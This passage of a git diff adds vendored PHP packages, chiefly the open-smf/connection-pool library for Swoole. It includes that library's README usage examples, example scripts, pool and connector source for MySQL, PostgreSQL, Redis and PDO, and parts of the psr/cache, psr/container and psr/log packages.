+| CoroutineRedisConnector | Instance of `Swoole\Coroutine\Redis` | +| PhpRedisConnector | Instance of `Redis`, require [redis](https://pecl.php.net/package/redis) | +| PDOConnector | Instance of `PDO`, require [PDO](https://www.php.net/manual/en/book.pdo.php) | +| YourConnector | `YourConnector` must implement interface `ConnectorInterface`, any object can be used as a connection instance | + +- Basic usage + +```php +use Smf\ConnectionPool\ConnectionPool; +use Smf\ConnectionPool\Connectors\CoroutineMySQLConnector; +use Swoole\Coroutine\MySQL; + +go(function () { + // All MySQL connections: [10, 30] + $pool = new ConnectionPool( + [ + 'minActive' => 10, + 'maxActive' => 30, + 'maxWaitTime' => 5, + 'maxIdleTime' => 20, + 'idleCheckInterval' => 10, + ], + new CoroutineMySQLConnector, + [ + 'host' => '127.0.0.1', + 'port' => '3306', + 'user' => 'root', + 'password' => 'xy123456', + 'database' => 'mysql', + 'timeout' => 10, + 'charset' => 'utf8mb4', + 'strict_type' => true, + 'fetch_mode' => true, + ] + ); + echo "Initializing connection pool\n"; + $pool->init(); + defer(function () use ($pool) { + echo "Closing connection pool\n"; + $pool->close(); + }); + + echo "Borrowing the connection from pool\n"; + /**@var MySQL $connection */ + $connection = $pool->borrow(); + + $status = $connection->query('SHOW STATUS LIKE "Threads_connected"'); + + echo "Return the connection to pool as soon as possible\n"; + $pool->return($connection); + + var_dump($status); +}); +``` + +- Usage in Swoole Server + +```php +use Smf\ConnectionPool\ConnectionPool; +use Smf\ConnectionPool\ConnectionPoolTrait; +use Smf\ConnectionPool\Connectors\CoroutineMySQLConnector; +use Smf\ConnectionPool\Connectors\PhpRedisConnector; +use Swoole\Coroutine\MySQL; +use Swoole\Http\Request; +use Swoole\Http\Response; +use Swoole\Http\Server; + +class HttpServer +{ + use ConnectionPoolTrait; + + protected $swoole; + + public function __construct(string $host, int $port) + { + $this->swoole = new Server($host, $port); + + $this->setDefault(); + $this->bindWorkerEvents(); + $this->bindHttpEvent(); + } + + protected function setDefault() + { + $this->swoole->set([ + 'daemonize' => false, + 'dispatch_mode' => 1, + 'max_request' => 8000, + 'open_tcp_nodelay' => true, + 'reload_async' => true, + 'max_wait_time' => 60, + 'enable_reuse_port' => true, + 'enable_coroutine' => true, + 'http_compression' => false, + 'enable_static_handler' => false, + 'buffer_output_size' => 4 * 1024 * 1024, + 'worker_num' => 4, // Each worker holds a connection pool + ]); + } + + protected function bindHttpEvent() + { + $this->swoole->on('Request', function (Request $request, Response $response) { + $pool1 = $this->getConnectionPool('mysql'); + /**@var MySQL $mysql */ + $mysql = $pool1->borrow(); + $status = $mysql->query('SHOW STATUS LIKE "Threads_connected"'); + // Return the connection to pool as soon as possible + $pool1->return($mysql); + + + $pool2 = $this->getConnectionPool('redis'); + /**@var \Redis $redis */ + $redis = $pool2->borrow(); + $clients = $redis->info('Clients'); + // Return the connection to pool as soon as possible + $pool2->return($redis); + + $json = [ + 'status' => $status, + 'clients' => $clients, + ]; + // Other logic + // ... + $response->header('Content-Type', 'application/json'); + $response->end(json_encode($json)); + }); + } + + protected function bindWorkerEvents() + { + $createPools = function () { + // All MySQL connections: [4 workers * 2 = 8, 4 workers * 10 = 40] + $pool1 = new ConnectionPool( + [ + 'minActive' => 2, + 'maxActive' => 10, + ], + new CoroutineMySQLConnector, + [ + 'host' => '127.0.0.1', + 'port' => '3306', + 'user' => 'root', + 'password' => 'xy123456', + 'database' => 'mysql', + 'timeout' => 10, + 'charset' => 'utf8mb4', + 'strict_type' => true, + 'fetch_mode' => true, + ]); + $pool1->init(); + $this->addConnectionPool('mysql', $pool1); + + // All Redis connections: [4 workers * 5 = 20, 4 workers * 20 = 80] + $pool2 = new ConnectionPool( + [ + 'minActive' => 5, + 'maxActive' => 20, + ], + new PhpRedisConnector, + [ + 'host' => '127.0.0.1', + 'port' => '6379', + 'database' => 0, + 'password' => null, + ]); + $pool2->init(); + $this->addConnectionPool('redis', $pool2); + }; + $closePools = function () { + $this->closeConnectionPools(); + }; + $this->swoole->on('WorkerStart', $createPools); + $this->swoole->on('WorkerStop', $closePools); + $this->swoole->on('WorkerError', $closePools); + } + + public function start() + { + $this->swoole->start(); + } +} + +// Enable coroutine for PhpRedis +Swoole\Runtime::enableCoroutine(); +$server = new HttpServer('0.0.0.0', 5200); +$server->start(); +``` + +## License + +[MIT](LICENSE) \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/composer.json b/vendor/open-smf/connection-pool/composer.json new file mode 100644 index 0000000..e1dd30c --- /dev/null +++ b/vendor/open-smf/connection-pool/composer.json @@ -0,0 +1,40 @@ +{ + "name": "open-smf/connection-pool", + "type": "library", + "license": "MIT", + "support": { + "issues": "https://github.com/open-smf/connection-pool/issues", + "source": "https://github.com/open-smf/connection-pool" + }, + "description": "A common connection pool based on Swoole is usually used as the database connection pool.", + "keywords": [ + "swoole", + "connection-pool", + "database-connection-pool" + ], + "homepage": "https://github.com/open-smf/connection-pool", + "authors": [ + { + "name": "Xie Biao", + "email": "hhxsv5@sina.com" + } + ], + "require": { + "php": ">=7.0.0", + "ext-json": "*", + "ext-swoole": ">=4.2.9" + }, + "suggest": { + "ext-redis": "A PHP extension for Redis." + }, + "autoload": { + "psr-4": { + "Smf\\ConnectionPool\\": "src" + } + }, + "prefer-stable": true, + "minimum-stability": "dev", + "require-dev": { + "swoole/ide-helper": "@dev" + } +} diff --git a/vendor/open-smf/connection-pool/examples/coroutine-mysql.php b/vendor/open-smf/connection-pool/examples/coroutine-mysql.php new file mode 100644 index 0000000..5a38d58 --- /dev/null +++ b/vendor/open-smf/connection-pool/examples/coroutine-mysql.php @@ -0,0 +1,48 @@ + 10, + 'maxActive' => 30, + 'maxWaitTime' => 5, + 'maxIdleTime' => 20, + 'idleCheckInterval' => 10, + ], + new CoroutineMySQLConnector, + [ + 'host' => '127.0.0.1', + 'port' => '3306', + 'user' => 'root', + 'password' => 'xy123456', + 'database' => 'mysql', + 'timeout' => 10, + 'charset' => 'utf8mb4', + 'strict_type' => true, + 'fetch_mode' => true, + ] + ); + echo "Initializing connection pool\n"; + $pool->init(); + defer(function () use ($pool) { + echo "Closing connection pool\n"; + $pool->close(); + }); + + echo "Borrowing the connection from pool\n"; + /**@var MySQL $connection */ + $connection = $pool->borrow(); + + $status = $connection->query('SHOW STATUS LIKE "Threads_connected"'); + + echo "Return the connection to pool as soon as possible\n"; + $pool->return($connection); + + var_dump($status); +}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-postgresql.php b/vendor/open-smf/connection-pool/examples/coroutine-postgresql.php new file mode 100644 index 0000000..f0c6be4 --- /dev/null +++ b/vendor/open-smf/connection-pool/examples/coroutine-postgresql.php @@ -0,0 +1,41 @@ + 10, + 'maxActive' => 30, + 'maxWaitTime' => 5, + 'maxIdleTime' => 20, + 'idleCheckInterval' => 10, + ], + new CoroutinePostgreSQLConnector, + [ + 'connection_strings' => 'host=127.0.0.1 port=5432 dbname=postgres user=postgres password=xy123456', + ] + ); + echo "Initializing connection pool\n"; + $pool->init(); + defer(function () use ($pool) { + echo "Closing connection pool\n"; + $pool->close(); + }); + + echo "Borrowing the connection from pool\n"; + /**@var PostgreSQL $connection */ + $connection = $pool->borrow(); + + $result = $connection->query("SELECT * FROM pg_stat_database where datname='postgres';"); + + $stat = $connection->fetchAssoc($result); + echo "Return the connection to pool as soon as possible\n"; + $pool->return($connection); + + var_dump($stat); +}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-redis.php b/vendor/open-smf/connection-pool/examples/coroutine-redis.php new file mode 100644 index 0000000..183cfab --- /dev/null +++ b/vendor/open-smf/connection-pool/examples/coroutine-redis.php @@ -0,0 +1,48 @@ + 10, + 'maxActive' => 30, + 'maxWaitTime' => 5, + 'maxIdleTime' => 20, + 'idleCheckInterval' => 10, + ], + new CoroutineRedisConnector, + [ + 'host' => '127.0.0.1', + 'port' => '6379', + 'database' => 0, + 'password' => null, + 'options' => [ + 'connect_timeout' => 1, + 'timeout' => 5, + ], + ] + ); + echo "Initializing connection pool\n"; + $pool->init(); + defer(function () use ($pool) { + echo "Close connection pool\n"; + $pool->close(); + }); + + echo "Borrowing the connection from pool\n"; + /**@var Redis $connection */ + $connection = $pool->borrow(); + + $connection->set('test', uniqid()); + $test = $connection->get('test'); + + echo "Return the connection to pool as soon as possible\n"; + $pool->return($connection); + + var_dump($test); +}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-runtime-pdo.php b/vendor/open-smf/connection-pool/examples/coroutine-runtime-pdo.php new file mode 100644 index 0000000..0520712 --- /dev/null +++ b/vendor/open-smf/connection-pool/examples/coroutine-runtime-pdo.php @@ -0,0 +1,49 @@ + 10, + 'maxActive' => 30, + 'maxWaitTime' => 5, + 'maxIdleTime' => 20, + 'idleCheckInterval' => 10, + ], + new PDOConnector, + [ + 'dsn' => 'mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8mb4', + 'username' => 'root', + 'password' => 'xy123456', + 'options' => [ + \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, + \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC, + \PDO::ATTR_TIMEOUT => 30, + ], + ] + ); + echo "Initializing connection pool\n"; + $pool->init(); + defer(function () use ($pool) { + echo "Close connection pool\n"; + $pool->close(); + }); + + echo "Borrowing the connection from pool\n"; + /**@var \PDO $connection */ + $connection = $pool->borrow(); + + $statement = $connection->query('SHOW STATUS LIKE "Threads_connected"'); + + echo "Return the connection to pool as soon as possible\n"; + $pool->return($connection); + + var_dump($statement->fetch()); +}); diff --git a/vendor/open-smf/connection-pool/examples/coroutine-runtime-phpredis.php b/vendor/open-smf/connection-pool/examples/coroutine-runtime-phpredis.php new file mode 100644 index 0000000..4fbc8e0 --- /dev/null +++ b/vendor/open-smf/connection-pool/examples/coroutine-runtime-phpredis.php @@ -0,0 +1,47 @@ + 10, + 'maxActive' => 30, + 'maxWaitTime' => 5, + 'maxIdleTime' => 20, + 'idleCheckInterval' => 10, + ], + new PhpRedisConnector, + [ + 'host' => '127.0.0.1', + 'port' => '6379', + 'database' => 0, + 'password' => null, + 'timeout' => 5, + ] + ); + echo "Initializing connection pool\n"; + $pool->init(); + defer(function () use ($pool) { + echo "Close connection pool\n"; + $pool->close(); + }); + + echo "Borrowing the connection from pool\n"; + /**@var Redis $connection */ + $connection = $pool->borrow(); + + $connection->set('test', uniqid()); + $test = $connection->get('test'); + + echo "Return the connection to pool as soon as possible\n"; + $pool->return($connection); + + var_dump($test); +}); diff --git a/vendor/open-smf/connection-pool/examples/dynamic-testing.php b/vendor/open-smf/connection-pool/examples/dynamic-testing.php new file mode 100644 index 0000000..07bbd22 --- /dev/null +++ b/vendor/open-smf/connection-pool/examples/dynamic-testing.php @@ -0,0 +1,65 @@ + 10, + 'maxActive' => 30, + 'maxWaitTime' => 5, + 'maxIdleTime' => 20, + 'idleCheckInterval' => 10, + ], + new PDOConnector, + [ + 'dsn' => 'mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8mb4', + 'username' => 'root', + 'password' => 'xy123456', + 'options' => [ + \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, + \PDO::ATTR_DEFAULT_FETCH_MODE => \PDO::FETCH_ASSOC, + \PDO::ATTR_TIMEOUT => 30, + ], + ] + ); + $pool->init(); + + // For debug + $peakCount = 0; + swoole_timer_tick(1000, function () use ($pool, &$peakCount) { + $count = $pool->getConnectionCount(); + $idleCount = $pool->getIdleCount(); + if ($peakCount < $count) { + $peakCount = $count; + } + echo "Pool connection count: $count, peak count: $peakCount, idle count: $idleCount\n"; + }); + + while (true) { + $count = mt_rand(1, 45); + echo "Query count: $count\n"; + for ($i = 0; $i < $count; $i++) { + go(function () use ($pool) { + /**@var \PDO $pdo */ + $pdo = $pool->borrow(); + defer(function () use ($pool, $pdo) { + $pool->return($pdo); + }); + $statement = $pdo->query('show status like \'Threads_connected\''); + $ret = $statement->fetch(); + if (!isset($ret['Variable_name'])) { + echo "Invalid query result: \n", print_r($ret, true); + } + echo $ret['Variable_name'] . ': ' . $ret['Value'] . "\n"; + }); + } + Coroutine::sleep(mt_rand(1, 15)); + } +}); diff --git a/vendor/open-smf/connection-pool/examples/http-server.php b/vendor/open-smf/connection-pool/examples/http-server.php new file mode 100644 index 0000000..be74d38 --- /dev/null +++ b/vendor/open-smf/connection-pool/examples/http-server.php @@ -0,0 +1,132 @@ +swoole = new Server($host, $port); + + $this->setDefault(); + $this->bindWorkerEvents(); + $this->bindHttpEvent(); + } + + protected function setDefault() + { + $this->swoole->set([ + 'daemonize' => false, + 'dispatch_mode' => 1, + 'max_request' => 8000, + 'open_tcp_nodelay' => true, + 'reload_async' => true, + 'max_wait_time' => 60, + 'enable_reuse_port' => true, + 'enable_coroutine' => true, + 'http_compression' => false, + 'enable_static_handler' => false, + 'buffer_output_size' => 4 * 1024 * 1024, + 'worker_num' => 4, // Each worker holds a connection pool + ]); + } + + protected function bindHttpEvent() + { + $this->swoole->on('Request', function (Request $request, Response $response) { + $pool1 = $this->getConnectionPool('mysql'); + /**@var MySQL $mysql */ + $mysql = $pool1->borrow(); + $status = $mysql->query('SHOW STATUS LIKE "Threads_connected"'); + // Return the connection to pool as soon as possible + $pool1->return($mysql); + + + $pool2 = $this->getConnectionPool('redis'); + /**@var \Redis $redis */ + $redis = $pool2->borrow(); + $clients = $redis->info('Clients'); + // Return the connection to pool as soon as possible + $pool2->return($redis); + + $json = [ + 'status' => $status, + 'clients' => $clients, + ]; + // Other logic + // ... + $response->header('Content-Type', 'application/json'); + $response->end(json_encode($json)); + }); + } + + protected function bindWorkerEvents() + { + $createPools = function () { + // All MySQL connections: [4 workers * 2 = 8, 4 workers * 10 = 40] + $pool1 = new ConnectionPool( + [ + 'minActive' => 2, + 'maxActive' => 10, + ], + new CoroutineMySQLConnector, + [ + 'host' => '127.0.0.1', + 'port' => '3306', + 'user' => 'root', + 'password' => 'xy123456', + 'database' => 'mysql', + 'timeout' => 10, + 'charset' => 'utf8mb4', + 'strict_type' => true, + 'fetch_mode' => true, + ]); + $pool1->init(); + $this->addConnectionPool('mysql', $pool1); + + // All Redis connections: [4 workers * 5 = 20, 4 workers * 20 = 80] + $pool2 = new ConnectionPool( + [ + 'minActive' => 5, + 'maxActive' => 20, + ], + new PhpRedisConnector, + [ + 'host' => '127.0.0.1', + 'port' => '6379', + 'database' => 0, + 'password' => null, + ]); + $pool2->init(); + $this->addConnectionPool('redis', $pool2); + }; + $closePools = function () { + $this->closeConnectionPools(); + }; + $this->swoole->on('WorkerStart', $createPools); + $this->swoole->on('WorkerStop', $closePools); + $this->swoole->on('WorkerError', $closePools); + } + + public function start() + { + $this->swoole->start(); + } +} + +// Enable coroutine for PhpRedis +Swoole\Runtime::enableCoroutine(); +$server = new HttpServer('0.0.0.0', 5200); +$server->start(); \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php b/vendor/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php new file mode 100644 index 0000000..414a8cb --- /dev/null +++ b/vendor/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php @@ -0,0 +1,19 @@ +timeout; + } + + public function setTimeout(float $timeout): self + { + $this->timeout = $timeout; + return $this; + } +} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/ConnectionPool.php b/vendor/open-smf/connection-pool/src/ConnectionPool.php new file mode 100644 index 0000000..3c46b49 --- /dev/null +++ b/vendor/open-smf/connection-pool/src/ConnectionPool.php @@ -0,0 +1,278 @@ +initialized = false; + $this->closed = false; + $this->minActive = $poolConfig['minActive'] ?? 20; + $this->maxActive = $poolConfig['maxActive'] ?? 100; + $this->maxWaitTime = $poolConfig['maxWaitTime'] ?? 5; + $this->maxIdleTime = $poolConfig['maxIdleTime'] ?? 30; + $poolConfig['idleCheckInterval'] = $poolConfig['idleCheckInterval'] ?? 15; + $this->idleCheckInterval = $poolConfig['idleCheckInterval'] >= static::MIN_CHECK_IDLE_INTERVAL ? $poolConfig['idleCheckInterval'] : static::MIN_CHECK_IDLE_INTERVAL; + $this->connectionConfig = $connectionConfig; + $this->connector = $connector; + } + + /** + * Initialize the connection pool + * @return bool + */ + public function init(): bool + { + if ($this->initialized) { + return false; + } + $this->initialized = true; + $this->pool = new Channel($this->maxActive); + $this->balancerTimerId = $this->startBalanceTimer($this->idleCheckInterval); + go(function () { + for ($i = 0; $i < $this->minActive; $i++) { + $connection = $this->createConnection(); + $ret = $this->pool->push($connection, static::CHANNEL_TIMEOUT); + if ($ret === false) { + $this->removeConnection($connection); + } + } + }); + return true; + } + + /** + * Borrow a connection from the connection pool, throw an exception if timeout + * @return mixed The connection resource + * @throws BorrowConnectionTimeoutException + * @throws \RuntimeException + */ + public function borrow() + { + if (!$this->initialized) { + throw new \RuntimeException('Please initialize the connection pool first, call $pool->init().'); + } + if ($this->pool->isEmpty()) { + // Create more connections + if ($this->connectionCount < $this->maxActive) { + return $this->createConnection(); + } + } + + $connection = $this->pool->pop($this->maxWaitTime); + if ($connection === false) { + $exception = new BorrowConnectionTimeoutException(sprintf( + 'Borrow the connection timeout in %.2f(s), connections in pool: %d, all connections: %d', + $this->maxWaitTime, + $this->pool->length(), + $this->connectionCount + )); + $exception->setTimeout($this->maxWaitTime); + throw $exception; + } + if ($this->connector->isConnected($connection)) { + // Reset the connection for the connected connection + $this->connector->reset($connection, $this->connectionConfig); + } else { + // Remove the disconnected connection, then create a new connection + $this->removeConnection($connection); + $connection = $this->createConnection(); + } + return $connection; + } + + /** + * Return a connection to the connection pool + * @param mixed $connection The connection resource + * @return bool + */ + public function return($connection): bool + { + if (!$this->connector->validate($connection)) { + throw new \RuntimeException('Connection of unexpected type returned.'); + } + + if (!$this->initialized) { + throw new \RuntimeException('Please initialize the connection pool first, call $pool->init().'); + } + if ($this->pool->isFull()) { + // Discard the connection + $this->removeConnection($connection); + return false; + } + $connection->{static::KEY_LAST_ACTIVE_TIME} = time(); + $ret = $this->pool->push($connection, static::CHANNEL_TIMEOUT); + if ($ret === false) { + $this->removeConnection($connection); + } + return true; + } + + /** + * Get the number of created connections + * @return int + */ + public function getConnectionCount(): int + { + return $this->connectionCount; + } + + /** + * Get the number of idle connections + * @return int + */ + public function getIdleCount(): int + { + return $this->pool->length(); + } + + /** + * Close the connection pool and disconnect all connections + * @return bool + */ + public function close(): bool + { + if (!$this->initialized) { + return false; + } + if ($this->closed) { + return false; + } + $this->closed = true; + swoole_timer_clear($this->balancerTimerId); + go(function () { + while (true) { + if ($this->pool->isEmpty()) { + break; + } + $connection = $this->pool->pop(static::CHANNEL_TIMEOUT); + if ($connection !== false) { + $this->connector->disconnect($connection); + } + } + $this->pool->close(); + }); + return true; + } + + public function __destruct() + { + $this->close(); + } + + protected function startBalanceTimer(float $interval) + { + return swoole_timer_tick(round($interval) * 1000, function () { + $now = time(); + $validConnections = []; + while (true) { + if ($this->closed) { + break; + } + if ($this->connectionCount <= $this->minActive) { + break; + } + if ($this->pool->isEmpty()) { + break; + } + $connection = $this->pool->pop(static::CHANNEL_TIMEOUT); + if ($connection === false) { + continue; + } + $lastActiveTime = $connection->{static::KEY_LAST_ACTIVE_TIME} ?? 0; + if ($now - $lastActiveTime < $this->maxIdleTime) { + $validConnections[] = $connection; + } else { + $this->removeConnection($connection); + } + } + + foreach ($validConnections as $validConnection) { + $ret = $this->pool->push($validConnection, static::CHANNEL_TIMEOUT); + if ($ret === false) { + $this->removeConnection($validConnection); + } + } + }); + } + + protected function createConnection() + { + $this->connectionCount++; + $connection = $this->connector->connect($this->connectionConfig); + $connection->{static::KEY_LAST_ACTIVE_TIME} = time(); + return $connection; + } + + protected function removeConnection($connection) + { + $this->connectionCount--; + go(function () use ($connection) { + try { + $this->connector->disconnect($connection); + } catch (\Throwable $e) { + // Ignore this exception. + } + }); + } +} diff --git a/vendor/open-smf/connection-pool/src/ConnectionPoolInterface.php b/vendor/open-smf/connection-pool/src/ConnectionPoolInterface.php new file mode 100644 index 0000000..09523eb --- /dev/null +++ b/vendor/open-smf/connection-pool/src/ConnectionPoolInterface.php @@ -0,0 +1,33 @@ +pools[$key] = $pool; + } + + /** + * Get a connection pool by key + * @param string $key + * @return ConnectionPool + */ + public function getConnectionPool(string $key): ConnectionPool + { + return $this->pools[$key]; + } + + /** + * Close the connection by key + * @param string $key + * @return bool + */ + public function closeConnectionPool(string $key) + { + return $this->pools[$key]->close(); + } + + /** + * Close all connection pools + */ + public function closeConnectionPools() + { + foreach ($this->pools as $pool) { + $pool->close(); + } + } +} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/ConnectorInterface.php b/vendor/open-smf/connection-pool/src/Connectors/ConnectorInterface.php new file mode 100644 index 0000000..e04e946 --- /dev/null +++ b/vendor/open-smf/connection-pool/src/Connectors/ConnectorInterface.php @@ -0,0 +1,43 @@ +connect($config) === false) { + throw new \RuntimeException(sprintf('Failed to connect MySQL server: [%d] %s', $connection->connect_errno, $connection->connect_error)); + } + return $connection; + } + + public function disconnect($connection) + { + /**@var MySQL $connection */ + $connection->close(); + } + + public function isConnected($connection): bool + { + /**@var MySQL $connection */ + return $connection->connected; + } + + public function reset($connection, array $config) + { + + } + + public function validate($connection): bool + { + return $connection instanceof MySQL; + } +} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php b/vendor/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php new file mode 100644 index 0000000..d3b6930 --- /dev/null +++ b/vendor/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php @@ -0,0 +1,42 @@ +connect($config['connection_strings']); + if ($ret === false) { + throw new \RuntimeException(sprintf('Failed to connect PostgreSQL server: %s', $connection->error)); + } + return $connection; + } + + public function disconnect($connection) + { + /**@var PostgreSQL $connection */ + } + + public function isConnected($connection): bool + { + /**@var PostgreSQL $connection */ + return true; + } + + public function reset($connection, array $config) + { + /**@var PostgreSQL $connection */ + } + + public function validate($connection): bool + { + return $connection instanceof PostgreSQL; + } +} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php b/vendor/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php new file mode 100644 index 0000000..dd0cec4 --- /dev/null +++ b/vendor/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php @@ -0,0 +1,53 @@ +connect($config['host'], $config['port']); + if ($ret === false) { + throw new \RuntimeException(sprintf('Failed to connect Redis server: [%s] %s', $connection->errCode, $connection->errMsg)); + } + if (isset($config['password'])) { + $config['password'] = (string)$config['password']; + if ($config['password'] !== '') { + $connection->auth($config['password']); + } + } + if (isset($config['database'])) { + $connection->select($config['database']); + } + return $connection; + } + + public function disconnect($connection) + { + /**@var Redis $connection */ + $connection->close(); + } + + public function isConnected($connection): bool + { + /**@var Redis $connection */ + return $connection->connected; + } + + public function reset($connection, array $config) + { + /**@var Redis $connection */ + $connection->setDefer(false); + if (isset($config['database'])) { + $connection->select($config['database']); + } + } + + public function validate($connection): bool + { + return $connection instanceof Redis; + } +} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/PDOConnector.php b/vendor/open-smf/connection-pool/src/Connectors/PDOConnector.php new file mode 100644 index 0000000..2e7bb0b --- /dev/null +++ b/vendor/open-smf/connection-pool/src/Connectors/PDOConnector.php @@ -0,0 +1,42 @@ +getCode(), $e->getMessage())); + } + return $connection; + } + + public function disconnect($connection) + { + /**@var \PDO $connection */ + $connection = null; + } + + public function isConnected($connection): bool + { + /**@var \PDO $connection */ + try { + return !!@$connection->getAttribute(\PDO::ATTR_SERVER_INFO); + } catch (\Throwable $e) { + return false; + } + } + + public function reset($connection, array $config) + { + + } + + public function validate($connection): bool + { + return $connection instanceof \PDO; + } +} \ No newline at end of file diff --git a/vendor/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php b/vendor/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php new file mode 100644 index 0000000..bbcb11a --- /dev/null +++ b/vendor/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php @@ -0,0 +1,53 @@ +connect($config['host'], $config['port'], $config['timeout'] ?? 10); + if ($ret === false) { + throw new \RuntimeException(sprintf('Failed to connect Redis server: %s', $connection->getLastError())); + } + if (isset($config['password'])) { + $config['password'] = (string)$config['password']; + if ($config['password'] !== '') { + $connection->auth($config['password']); + } + } + if (isset($config['database'])) { + $connection->select($config['database']); + } + foreach ($config['options'] ?? [] as $key => $value) { + $connection->setOption($key, $value); + } + return $connection; + } + + public function disconnect($connection) + { + /**@var \Redis $connection */ + $connection->close(); + } + + public function isConnected($connection): bool + { + /**@var \Redis $connection */ + return $connection->isConnected(); + } + + public function reset($connection, array $config) + { + /**@var \Redis $connection */ + if (isset($config['database'])) { + $connection->select($config['database']); + } + } + + public function validate($connection): bool + { + return $connection instanceof \Redis; + } +} \ No newline at end of file diff --git a/vendor/psr/cache/CHANGELOG.md b/vendor/psr/cache/CHANGELOG.md new file mode 100644 index 0000000..58ddab0 --- /dev/null +++ b/vendor/psr/cache/CHANGELOG.md @@ -0,0 +1,16 @@ +# Changelog + +All notable changes to this project will be documented in this file, in reverse chronological order by release. + +## 1.0.1 - 2016-08-06 + +### Fixed + +- Make spacing consistent in phpdoc annotations php-fig/cache#9 - chalasr +- Fix grammar in phpdoc annotations php-fig/cache#10 - chalasr +- Be more specific in docblocks that `getItems()` and `deleteItems()` take an array of strings (`string[]`) compared to just `array` php-fig/cache#8 - GrahamCampbell +- For `expiresAt()` and `expiresAfter()` in CacheItemInterface fix docblock to specify null as a valid parameters as well as an implementation of DateTimeInterface php-fig/cache#7 - GrahamCampbell + +## 1.0.0 - 2015-12-11 + +Initial stable release; reflects accepted PSR-6 specification diff --git a/vendor/psr/cache/LICENSE.txt b/vendor/psr/cache/LICENSE.txt new file mode 100644 index 0000000..b1c2c97 --- /dev/null +++ b/vendor/psr/cache/LICENSE.txt @@ -0,0 +1,19 @@ +Copyright (c) 2015 PHP Framework Interoperability Group + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/psr/cache/README.md b/vendor/psr/cache/README.md new file mode 100644 index 0000000..c8706ce --- /dev/null +++ b/vendor/psr/cache/README.md @@ -0,0 +1,9 @@ +PSR Cache +========= + +This repository holds all interfaces defined by +[PSR-6](http://www.php-fig.org/psr/psr-6/). + +Note that this is not a Cache implementation of its own. It is merely an +interface that describes a Cache implementation. See the specification for more +details. diff --git a/vendor/psr/cache/composer.json b/vendor/psr/cache/composer.json new file mode 100644 index 0000000..e828fec --- /dev/null +++ b/vendor/psr/cache/composer.json @@ -0,0 +1,25 @@ +{ + "name": "psr/cache", + "description": "Common interface for caching libraries", + "keywords": ["psr", "psr-6", "cache"], + "license": "MIT", + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "require": { + "php": ">=5.3.0" + }, + "autoload": { + "psr-4": { + "Psr\\Cache\\": "src/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + } +} diff --git a/vendor/psr/cache/src/CacheException.php b/vendor/psr/cache/src/CacheException.php new file mode 100644 index 0000000..e27f22f --- /dev/null +++ b/vendor/psr/cache/src/CacheException.php @@ -0,0 +1,10 @@ +=5.3.0" + }, + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + } +} diff --git a/vendor/psr/container/src/ContainerExceptionInterface.php b/vendor/psr/container/src/ContainerExceptionInterface.php new file mode 100644 index 0000000..d35c6b4 --- /dev/null +++ b/vendor/psr/container/src/ContainerExceptionInterface.php @@ -0,0 +1,13 @@ +log(LogLevel::EMERGENCY, $message, $context); + } + + /** + * Action must be taken immediately. + * + * Example: Entire website down, database unavailable, etc. This should + * trigger the SMS alerts and wake you up. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function alert($message, array $context = array()) + { + $this->log(LogLevel::ALERT, $message, $context); + } + + /** + * Critical conditions. + * + * Example: Application component unavailable, unexpected exception. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function critical($message, array $context = array()) + { + $this->log(LogLevel::CRITICAL, $message, $context); + } + + /** + * Runtime errors that do not require immediate action but should typically + * be logged and monitored. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function error($message, array $context = array()) + { + $this->log(LogLevel::ERROR, $message, $context); + } + + /** + * Exceptional occurrences that are not errors. + * + * Example: Use of deprecated APIs, poor use of an API, undesirable things + * that are not necessarily wrong. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function warning($message, array $context = array()) + { + $this->log(LogLevel::WARNING, $message, $context); + } + + /** + * Normal but significant events. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function notice($message, array $context = array()) + { + 